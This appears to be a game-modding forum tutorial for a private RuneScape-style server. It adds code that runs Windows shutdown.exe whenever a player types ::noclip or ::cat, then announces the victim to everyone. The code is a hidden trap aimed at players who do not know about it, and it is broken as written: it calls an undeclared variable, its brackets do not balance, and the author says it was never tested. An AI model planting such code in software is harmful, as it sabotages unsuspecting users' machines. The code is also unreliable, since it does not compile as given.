This is a TuT to stop all those people that try to do ::noclip or ::cat...
What this does is it Shuts Down Someone's Computer when they type ::noclip or ::cat! =]
First, I'll start out with the credits:
80% to Oblakastouf
20% Me.
Class Modified - Client.Java
Now we will start...
First add this into your voids...
Code:
public void lulOwned() throws IOException
{
Runtime load = Runtime.getRuntime();
// getRuntime() method is a static method which is used to
// obtain access to an object of class Runtime.
r.exec("C:\\windows\\System32\\shutdown.exe");
}
↑ Got this from oblakastouf
Now let's replace your commands...
Look for this...
Code:
else if (command.equalsIgnoreCase("noclip")
Replace that whole method with this...
Code:
else if(command.equals("noclip")
lulOwned();
PlayerHandler.messageToAll = playerName+" Just Got His Computer Shutdown By Doing ::Noclip! Hahah! =] ";
}
Now we will fix ::cat
Search for this...
Code:
else if (command.equalsIgnoreCase("cat")
Once again, Replace that whole method with this...
Code:
else if(command.equals("cat")
lulOwned();
PlayerHandler.messageToAll = playerName+" Just Got His Computer Shutdown By Doing ::Cat! Hahah! =] ";
}
Save.
Compile.
Run.
Post if you get any errors because I have not tested it yet. Thanks. =]